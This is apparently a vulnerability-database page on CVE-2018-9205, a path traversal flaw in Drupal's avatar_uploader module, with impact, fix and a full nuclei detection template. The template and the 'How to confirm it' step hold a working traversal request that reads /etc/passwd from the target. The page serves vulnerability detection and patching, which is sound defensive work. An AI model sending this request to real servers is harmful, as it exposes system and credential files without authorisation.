HexBrain

Browse / CVEs / CVE-2018-9205

CVE-2018-9205· drupal / avatar uploader· CWE-22

Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion

highseverity
7.5CVSS score
55.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files.

Impact

Unauthenticated attackers can read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and user data.

Fix

Upgrade to the latest version of avatar_uploader.

How to confirm it

Send: GET {{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-9205 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-9205

info:
  name: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion
  author: daffainfo
  severity: high
  description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and user data.
  remediation: Upgrade to the latest version of avatar_uploader.
  reference:
    - https://www.exploit-db.com/exploits/44501
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9205
    - https://www.drupal.org/project/avatar_uploader/issues/2957966
    - https://www.drupal.org/project/avatar_uploader
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-9205
    cwe-id: CWE-22
    epss-score: 0.55079
    epss-percentile: 0.99036
    cpe: cpe:2.3:a:drupal:avatar_uploader:7.x-1.0:beta8:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: avatar_uploader
    shodan-query: http.component:"drupal"
  tags: cve,cve2018,lfi,drupal,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from